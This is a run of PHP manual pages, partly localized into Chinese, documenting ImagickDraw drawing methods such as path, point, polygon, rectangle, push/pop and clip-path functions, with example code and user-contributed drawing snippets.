public ImagickDraw::pathLineToHorizontalRelative(float $x): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a horizontal line path from the current point to the target point using relative coordinates. The target point then becomes the new current point.

参数

x

x coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a line path

  • ? ImagickDraw::pathLineToHorizontalRelative
  • ImagickDraw::pathLineToVerticalAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Draws a line path

ImagickDraw::pathLineToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToRelative — Draws a line path

说明

public ImagickDraw::pathLineToRelative(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a line path from the current point to the given coordinate using relative coordinates. The coordinate then becomes the new current point.

参数

x

starting x coordinate

y

starting y coordinate

返回值

没有返回值。

User Contributed Notes

Axeia 11-Apr-2009 05:20
Hope this of help of anything, I had one hell of a time to draw a simple pie slice, where in GD2 is very easily done with the 'arc' function.. this is a bit harder to do in imagick.

The degrees are a mess, seems like the path, arc and ellipse functions all use a different system.. utterly confusing.
Code below should at least be of help in understanding how it works.

For an example of the output, please see:
http://www.imagebam.com/image/8e0ca432393602
<?php
    function getPointOnCircumference( $widthOfCircle, $heightOfCircle, $degrees, $x = 0, $y = 0 )
    {
        return array(
            'x' => $x + ($widthOfCircle/2)  * sin( deg2rad( $degrees ) ),
            'y' => $y + ($heightOfCircle/2) * cos( deg2rad( $degrees ) )
        );
    }

    $width  = 200;
    $height = 200;
    $border = 2;
    $x = $width / 2;
    $y = $height / 2;
    $im = new Imagick();
    $im->newImage( $width, $height, "orange", "png" );

    $draw = new ImagickDraw();
    $draw->setFillColor( 'lime' );
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->arc( 0, 0, ($width-$border), ($height-$border), 270, 360  ); //270 till 360 degrees
    $im->DrawImage( $draw );

    $draw2 = new ImagickDraw();
    $draw2->setFillColor( 'red' );
    $draw2->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw2->setStrokeWidth( 2 );
    $draw2->ellipse( 100, 100, $x-$border, $y-$border, 0, 90 );         //0 till 90 degrees
    $im->DrawImage( $draw2 );

    $draw3 = new ImagickDraw();
    $draw3->setFillColor( 'navy' );
    $draw3->setStrokeColor( new ImagickPixel( 'white' ) );
    $draw3->setStrokeWidth( 2 );
    $draw3->pathStart();
      $degrees90  = getPointOnCircumference( $width-2*$border,$height-2*$border, 360  );
      $degrees180 = getPointOnCircumference( $width-2*$border,$height-2*$border, 270 );
      $draw3->pathMoveToRelative( $x, $y ); //Move 'pencil' to middle of image.
      $draw3->pathLineToRelative(  $degrees90['x'],  $degrees90['y'] );
      $draw3->pathEllipticArcRelative( $width-$border, $height-$border, 0, false, true, $degrees180['x'], $degrees180['y']-$y+$border );
    $draw3->pathClose();
    $im->DrawImage( $draw3 );

    header( "Content-Type: image/png" );
    echo $im;
?>


Draws a vertical line

  • ? ImagickDraw::pathLineToRelative
  • ImagickDraw::pathLineToVerticalRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws a vertical line

ImagickDraw::pathLineToVerticalAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line

说明

public ImagickDraw::pathLineToVerticalAbsolute(float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a vertical line path from the current point to the target point using absolute coordinates. The target point then becomes the new current point.

参数

y

y coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a vertical line path

  • ? ImagickDraw::pathLineToVerticalAbsolute
  • ImagickDraw::pathMoveToAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Draws a vertical line path

ImagickDraw::pathLineToVerticalRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path

说明

public ImagickDraw::pathLineToVerticalRelative(float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a vertical line path from the current point to the target point using relative coordinates. The target point then becomes the new current point.

参数

y

y coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Starts a new sub-path

  • ? ImagickDraw::pathLineToVerticalRelative
  • ImagickDraw::pathMoveToRelative ?
  • PHP Manual
  • ImagickDraw
  • Starts a new sub-path

ImagickDraw::pathMoveToAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathMoveToAbsolute — Starts a new sub-path

说明

public ImagickDraw::pathMoveToAbsolute(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Starts a new sub-path at the given coordinate using absolute coordinates. The current point then becomes the specified coordinate.

参数

x

x coordinate of the starting point

y

y coordinate of the starting point

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Starts a new sub-path

  • ? ImagickDraw::pathMoveToAbsolute
  • ImagickDraw::pathStart ?
  • PHP Manual
  • ImagickDraw
  • Starts a new sub-path

ImagickDraw::pathMoveToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathMoveToRelative — Starts a new sub-path

说明

public ImagickDraw::pathMoveToRelative(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Starts a new sub-path at the given coordinate using relative coordinates. The current point then becomes the specified coordinate.

参数

x

target x coordinate

y

target y coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Declares the start of a path drawing list

  • ? ImagickDraw::pathMoveToRelative
  • ImagickDraw::point ?
  • PHP Manual
  • ImagickDraw
  • Declares the start of a path drawing list

ImagickDraw::pathStart

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathStart — Declares the start of a path drawing list

说明

public ImagickDraw::pathStart(): bool
Warning

本函数还未编写文档，仅有参数列表。

Declares the start of a path drawing list which is terminated by a matching DrawPathFinish() command. All other DrawPath commands must be enclosed between a and a DrawPathFinish() command. This is because path drawing commands are subordinate commands and they do not function by themselves.

返回值

没有返回值。

示例

Example #1 ImagickDraw::pathStart() example

<?php
function pathStart($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50, 50);
$draw->pathLineToAbsolute(100, 50);
$draw->pathLineToRelative(0, 50);
$draw->pathLineToHorizontalRelative(-50);
$draw->pathFinish();

$draw->pathStart();
$draw->pathMoveToAbsolute(50, 50);
$draw->pathMoveToRelative(300, 0);
$draw->pathLineToRelative(50, 0);
$draw->pathLineToVerticalRelative(50);
$draw->pathLineToHorizontalAbsolute(350);
$draw->pathclose();
$draw->pathFinish();

$draw->pathStart();
$draw->pathMoveToAbsolute(50, 300);
$draw->pathCurveToAbsolute(50, 300, 100, 200, 300, 300);
$draw->pathLineToVerticalAbsolute(350);
$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Draws a point

  • ? ImagickDraw::pathStart
  • ImagickDraw::polygon ?
  • PHP Manual
  • ImagickDraw
  • Draws a point

ImagickDraw::point

(PECL imagick 2, PECL imagick 3)

ImagickDraw::point — Draws a point

说明

public ImagickDraw::point(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a point using the current stroke color and stroke thickness at the specified coordinates.

参数

x

point's x coordinate

y

point's y coordinate

返回值

没有返回值。

示例

Example #1 ImagickDraw::point() example

<?php
function point($fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setFillColor($fillColor);

for ($x = 0; $x < 10000; $x++) {
$draw->point(rand(0, 500), rand(0, 500));
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Brian 26-Oct-2013 04:19
This no longer uses the fill color.  It now uses the stroke color, consistent with the documentation.
spz 26-Sep-2009 11:41
point($x, $y) uses the FillColor of ImagickDraw! This actually took quite a while, till I found out that it's falsely documented on these pages. So to draw single pixels, do it like this:

<?php
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel('red');
$image->newImage(10, 10, 'transparent', 'gif');

// Here comes the magick:
$pixel->setColor($_POST[$i."x".$j]);
$draw->setFillColor($pixel);
$draw->point($i,$j);

$image->drawImage($draw);
$image->writeImages($path, true);
?>


Draws a polygon

  • ? ImagickDraw::point
  • ImagickDraw::polyline ?
  • PHP Manual
  • ImagickDraw
  • Draws a polygon

ImagickDraw::polygon

(PECL imagick 2, PECL imagick 3)

ImagickDraw::polygon — Draws a polygon

说明

public ImagickDraw::polygon(array $coordinates): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a polygon using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

参数

coordinates

multidimensional array like array( array( 'x' => 3, 'y' => 4 ), array( 'x' => 2, 'y' => 6 ) );

返回值

成功时返回 true。

示例

Example #1 ImagickDraw::polygon() example

<?php
function polygon($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(4);

$draw->setFillColor($fillColor);

$points = [
['x' => 40 * 5, 'y' => 10 * 5],
['x' => 20 * 5, 'y' => 20 * 5],
['x' => 70 * 5, 'y' => 50 * 5],
['x' => 60 * 5, 'y' => 15 * 5],
];

$draw->polygon($points);

$image = new \Imagick();
$image->newImage(500, 300, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Draws a polyline

  • ? ImagickDraw::polygon
  • ImagickDraw::pop ?
  • PHP Manual
  • ImagickDraw
  • Draws a polyline

ImagickDraw::polyline

(PECL imagick 2, PECL imagick 3)

ImagickDraw::polyline — Draws a polyline

说明

public ImagickDraw::polyline(array $coordinates): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a polyline using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

参数

coordinates

array of x and y coordinates: array( array( 'x' => 4, 'y' => 6 ), array( 'x' => 8, 'y' => 10 ) )

返回值

成功时返回 true。

示例

Example #1 ImagickDraw::polyline() example

<?php
function polyline($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(5);

$points = [
['x' => 40 * 5, 'y' => 10 * 5],
['x' => 20 * 5, 'y' => 20 * 5],
['x' => 70 * 5, 'y' => 50 * 5],
['x' => 60 * 5, 'y' => 15 * 5]
];

$draw->polyline($points);

$image = new \Imagick();
$image->newImage(500, 300, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

kris at blackpepper dot co dot nz 10-Jun-2010 08:51
draw a filled Isosceles Triangle

<?php
$width =  601;
$height = 601;

$max_x = $width  - 1;
$max_y = $height - 1;
$mid_y = $max_y / 2;
$mid_x = $max_x / 2;

$fillcolor = '#F00F00';

try {
        $lo_img = new Imagick();
        $lo_img->newImage( $width, $height, new ImagickPixel('transparent'));

        $draw = new ImagickDraw();

        $draw->setFillColor($fillcolor);
        $draw->setStrokeWidth( 1 );

                            //start point                  //end point
        $co_ords = array( array( 'x' => $mid_x, 'y' => 0 ),array('x'=>0,'y'=>$max_y)
                ,array( 'x' => 0, 'y' => $max_y ),array('x'=>$max_x,'y'=>$max_y)
                 ,array( 'x' => $mid_x, 'y' => 0 ),array('x'=>$max_x,'y'=>$max_y)
                );

        $draw->polyline($co_ords);

        $lo_img->drawImage( $draw );

        $lo_img->setImageFormat( "png" );

        header( "Content-Type: image/png" );
        echo $lo_img;

        $lo_img->destroy();
        $draw->destroy();
        exit;

    } catch (Exception $ex) {
        print_r($ex);
        return;
    }
?>


Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

  • ? ImagickDraw::polyline
  • ImagickDraw::popClipPath ?
  • PHP Manual
  • ImagickDraw
  • Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

ImagickDraw::pop

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

说明

public ImagickDraw::pop(): bool
Warning

本函数还未编写文档，仅有参数列表。

Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw. Multiple ImagickDraws may exist. It is an error to attempt to pop more ImagickDraws than have been pushed, and it is proper form to pop all ImagickDraws which have been pushed.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Terminates a clip path definition

  • ? ImagickDraw::pop
  • ImagickDraw::popDefs ?
  • PHP Manual
  • ImagickDraw
  • Terminates a clip path definition

ImagickDraw::popClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popClipPath — Terminates a clip path definition

说明

public ImagickDraw::popClipPath(): bool
Warning

本函数还未编写文档，仅有参数列表。

Terminates a clip path definition.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Terminates a definition list

  • ? ImagickDraw::popClipPath
  • ImagickDraw::popPattern ?
  • PHP Manual
  • ImagickDraw
  • Terminates a definition list

ImagickDraw::popDefs

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popDefs — Terminates a definition list

说明

public ImagickDraw::popDefs(): bool
Warning

本函数还未编写文档，仅有参数列表。

Terminates a definition list.

返回值

没有返回值。

示例

Example #1 ImagickDraw::popDefs() example

<?php
function popDefs($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setstrokeOpacity(1);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->pushDefs();
$draw->setStrokeColor('white');
$draw->rectangle(50, 50, 200, 200);
$draw->popDefs();

$draw->rectangle(300, 50, 450, 200);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Terminates a pattern definition

  • ? ImagickDraw::popDefs
  • ImagickDraw::push ?
  • PHP Manual
  • ImagickDraw
  • Terminates a pattern definition

ImagickDraw::popPattern

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popPattern — Terminates a pattern definition

说明

public ImagickDraw::popPattern(): bool
Warning

本函数还未编写文档，仅有参数列表。

Terminates a pattern definition.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Clones the current ImagickDraw and pushes it to the stack

  • ? ImagickDraw::popPattern
  • ImagickDraw::pushClipPath ?
  • PHP Manual
  • ImagickDraw
  • Clones the current ImagickDraw and pushes it to the stack

ImagickDraw::push

(PECL imagick 2, PECL imagick 3)

ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack

说明

public ImagickDraw::push(): bool
Warning

本函数还未编写文档，仅有参数列表。

Clones the current ImagickDraw to create a new ImagickDraw, which is then added to the ImagickDraw stack. The original drawing ImagickDraw(s) may be returned to by invoking ImagickDraw::pop(). The ImagickDraws are stored on a ImagickDraw stack. For every Pop there must have already been an equivalent Push.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ImagickDraw::push() example

<?php
function push($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillModifiedColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->push();
$draw->translate(50, 50);
$draw->rectangle(200, 200, 300, 300);
$draw->pop();
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Starts a clip path definition

  • ? ImagickDraw::push
  • ImagickDraw::pushDefs ?
  • PHP Manual
  • ImagickDraw
  • Starts a clip path definition

ImagickDraw::pushClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushClipPath — Starts a clip path definition

说明

public ImagickDraw::pushClipPath(string $clip_mask_id): bool
Warning

本函数还未编写文档，仅有参数列表。

Starts a clip path definition which is comprised of any number of drawing commands and terminated by a ImagickDraw::popClipPath() command.

参数

clip_mask_id

Clip mask Id

返回值

没有返回值。

User Contributed Notes

bogdan at moongate dot ro 08-Apr-2011 06:02
Here's an interactive example for your enjoyment, featuring two intersecting discs. My version doesn't antialias the clipping path; I suppose YMMV.

<?php

// Simple clip path example
// Bogdan Stancescu

$showClipping=1; // Try setting this to 0!
$showDrawing=1;  // Try setting this to 0!

// Don't edit below this line (at least until you understand the example)

$showBoth=$showClipping && $showDrawing;
$showAny=$showClipping || $showDrawing;

$image=new Imagick(); // Create image

// Image size
$width=151;
$height=101;

$image->newImage($width, $height, new ImagickPixel('lightgray')); // some visible background

$draw=new ImagickDraw(); // Create draw object

if ($showBoth)
        $draw->pushClipPath('circle_left'); // Start clipping path

if ($showClipping) {
        $draw->setFillColor('red'); // The color doesn't matter if we clip
        $draw->circle(50,50,50,0); // A circle that occupies 100x100px on the left
}

if ($showBoth) {
        $draw->popClipPath(); // Finish clipping path
        $draw->setClipPath('circle_left'); // Use the clipping path above
}

if ($showDrawing) {
        $draw->setFillColor('navy'); // This is the actual drawing color
        $draw->circle(100,50,100,0); // A circle that occupies 100x100px on the right
}

if ($showAny)
        $image->drawImage($draw); // Render $draw unto $image

$image->setImageFormat('png'); // Tell ImageMagick how to render this
header("Content-Type: image/png"); // Tell the browser how to render this

echo $image; // Render the image into the browser
?>


Indicates that following commands create named elements for early processing

  • ? ImagickDraw::pushClipPath
  • ImagickDraw::pushPattern ?
  • PHP Manual
  • ImagickDraw
  • Indicates that following commands create named elements for early processing

ImagickDraw::pushDefs

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing

说明

public ImagickDraw::pushDefs(): bool
Warning

本函数还未编写文档，仅有参数列表。

Indicates that commands up to a terminating ImagickDraw::popDefs() command create named elements (e.g. clip-paths, textures, etc.) which may safely be processed earlier for the sake of efficiency.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

  • ? ImagickDraw::pushDefs
  • ImagickDraw::rectangle ?
  • PHP Manual
  • ImagickDraw
  • Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

ImagickDraw::pushPattern

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

说明

public ImagickDraw::pushPattern(
string $pattern_id,
float $x,
float $y,
float $width,
float $height
): bool
Warning

本函数还未编写文档，仅有参数列表。

Indicates that subsequent commands up to a DrawPopPattern() command comprise the definition of a named pattern. The pattern space is assigned top left corner coordinates, a width and height, and becomes its own drawing space. Anything which can be drawn may be used in a pattern definition. Named patterns may be used as stroke or brush definitions.

参数

pattern_id

the pattern Id

x

x coordinate of the top-left corner

y

y coordinate of the top-left corner

width

width of the pattern

height

height of the pattern

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ImagickDraw::pushPattern() example

<?php
function pushPattern($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(1);

$draw->pushPattern("MyFirstPattern", 0, 0, 50, 50);
for ($x = 0; $x < 50; $x += 10) {
for ($y = 0; $y < 50; $y += 5) {
$positionX = $x + (($y / 5) % 5);
$draw->rectangle($positionX, $y, $positionX + 5, $y + 5);
}
}
$draw->popPattern();

$draw->setFillOpacity(0);
$draw->rectangle(100, 100, 400, 400);
$draw->setFillOpacity(1);

$draw->setFillOpacity(1);

$draw->push();
$draw->setFillPatternURL('#MyFirstPattern');
$draw->setFillColor('yellow');
$draw->rectangle(100, 100, 400, 400);
$draw->pop();

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Draws a rectangle

  • ? ImagickDraw::pushPattern
  • ImagickDraw::render ?
  • PHP Manual
  • ImagickDraw
  • Draws a rectangle

ImagickDraw::rectangle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::rectangle — Draws a rectangle

说明

public ImagickDraw::rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a rectangle given two coordinates and using the current stroke, stroke width, and fill settings.

参数

x1

x coordinate of the top left corner

y1

y coordinate of the top left corner

x2

x coordinate of the bottom right corner

y2

y coordinate of the bottom right corner

返回值

没有返回值。

示例

Example #1 ImagickDraw::rectangle() example

<?php
function rectangle($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();
$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$draw->rectangle(200, 200, 300, 300);
$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

garym at binaryfarm dot com 28-Feb-2010 04:32
<?php

// Draw a simple rectangle or three for the newbies.
// I'm trying to comment these as best I can for a non-OOP person.
// commets or criticism are welcome. Gary Melander

$image = new Imagick();    // Create a new instance an $image class

$width =  600;        // Some necessary dimensions
$height = 400;

// $image class now inherits some attributes. i.e. Dimensions, bkgcolor...
$image->newImage( $width, $height, new ImagickPixel( 'lightgray' ) );

$draw = new ImagickDraw();    //Create a new drawing class (?)

$draw->setFillColor('wheat');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'green' ) );
$draw->rectangle( 100, 100, 200, 200 );    // Draw the rectangle

// Lets draw another
$draw->setFillColor('navy');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'yellow' ) );
$draw->setStrokeWidth(4);
$draw->rectangle( 150, 225, 350, 300 );    // Draw the rectangle

// and another
$draw->setFillColor('magenta');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'cyan' ) );
$draw->setStrokeWidth(2);
$draw->rectangle( 380, 100, 400, 350 );    // Draw the rectangle

$image->drawImage( $draw );    // Apply the stuff from the draw class to the image canvas

$image->setImageFormat('jpg');    // Give the image a format

header('Content-type: image/jpeg');     // Prepare the web browser to display an image
echo $image;                // Publish it to the world!

//$image->writeImage('someimage.jpg");    // ...Or just write it to a file...

?>


Renders all preceding drawing commands onto the image

  • ? ImagickDraw::rectangle
  • ImagickDraw::resetVectorGraphics ?
  • PHP Manual
  • ImagickDraw
  • Renders all preceding drawing commands onto the image

ImagickDraw::render

(PECL imagick 2, PECL imagick 3)

ImagickDraw::render — Renders all preceding drawing commands onto the image

说明

public ImagickDraw::render(): bool
Warning

本函数还未编写文档，仅有参数列表。

Renders all preceding drawing commands onto the image.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Resets the vector graphics

  • ? ImagickDraw::render
  • ImagickDraw::rotate ?
  • PHP Manual
  • ImagickDraw
  • Resets the vector graphics

ImagickDraw::resetVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::resetVectorGraphics — Resets the vector graphics

说明

public ImagickDraw::resetVectorGraphics(): bool

Resets the vector graphics.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Applies the specified rotation to the current coordinate space

  • ? ImagickDraw::resetVectorGraphics
  • ImagickDraw::roundRectangle ?
  • PHP Manual
  • ImagickDraw
  • Applies the specified rotation to the current coordinate space

ImagickDraw::rotate

(PECL imagick 2, PECL imagick 3)

ImagickDraw::rotate — Applies the specified rotation to the current coordinate space

说明

public ImagickDraw::rotate(float $degrees): bool
Warning

本函数还未编写文档，仅有参数列表。

Applies the specified rotation to the current coordinate space.

参数

degrees

degrees to rotate.

返回值

没有返回值。

示例

Example #1 ImagickDraw::rotate() example

<?php
function rotate($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {
$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setStrokeOpacity(1);
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);
$draw->setFillColor($fillModifiedColor);
$draw->rotate(15);
$draw->rectangle(200, 200, 300, 300);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Draws a rounded rectangle

  • ? ImagickDraw::rotate
  • ImagickDraw::scale ?
  • PHP Manual
  • ImagickDraw
  • Draws a rounded rectangle

ImagickDraw::roundRectangle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::roundRectangle — Draws a rounded rectangle

说明

public ImagickDraw::roundRectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a rounded rectangle given two coordinates, x & y corner radiuses and using the current stroke, stroke width, and fill settings.

参数

x1

x coordinate of the top left corner

y1

y coordinate of the top left corner

x2

x coordinate of the bottom right

y2

y coordinate of the bottom right

rx

x rounding

ry

y rounding

返回值

没有返回值。

示例

Example #1 ImagickDraw::roundRectangle() example

<?php
function roundRectangle($strokeColor, $fillColor, $backgroundColor, $startX, $startY, $endX, $endY, $roundX, $roundY) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$draw->roundRectangle($startX, $startY, $endX, $endY, $roundX, $roundY);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the scaling factor

  • ? ImagickDraw::roundRectangle
  • ImagickDraw::setClipPath ?
  • PHP Manual
  • ImagickDraw
  • Adjusts the scaling factor

ImagickDraw::scale

(PECL imagick 2, PECL imagick 3)

ImagickDraw::scale — Adjusts the scaling factor

说明

public ImagickDraw::scale(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Adjusts the scaling factor to apply in the horizontal and vertical directions to the current coordinate space.

参数

x

horizontal factor

y

vertical factor

返回值

没有返回值。

示例

Example #1 ImagickDraw::scale() example

<?php
function scale($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(4);
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);
$draw->setFillColor($fillModifiedColor);
$draw->scale(1.4, 1.4);
$draw->rectangle(200, 200, 300, 300);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Associates a named clipping path with the image

  • ? ImagickDraw::scale
  • ImagickDraw::setClipRule ?
  • PHP Manual
  • ImagickDraw
  • Associates a named clipping path with the image

ImagickDraw::setClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipPath — Associates a named clipping path with the image

说明

public ImagickDraw::setClipPath(string $clip_mask): bool
Warning

本函数还未编写文档，仅有参数列表。

Associates a named clipping path with the image. Only the areas drawn on by the clipping path will be modified as long as it remains in effect.

参数

clip_mask

the clipping path name

返回值

没有返回值。

示例

Example #1 ImagickDraw::setClipPath() example

<?php
function setClipPath($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$clipPathName = 'testClipPath';

$draw->pushClipPath($clipPathName);
$draw->rectangle(0, 0, 250, 250);
$draw->popClipPath();
$draw->setClipPath($clipPathName);
$draw->rectangle(100, 100, 400, 400);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Set the polygon fill rule to be used by the clipping path

  • ? ImagickDraw::setClipPath
  • ImagickDraw::setClipUnits ?
  • PHP Manual
  • ImagickDraw
  • Set the polygon fill rule to be used by the clipping path

ImagickDraw::setClipRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path

说明

public ImagickDraw::setClipRule(int $fill_rule): bool
Warning

本函数还未编写文档，仅有参数列表。

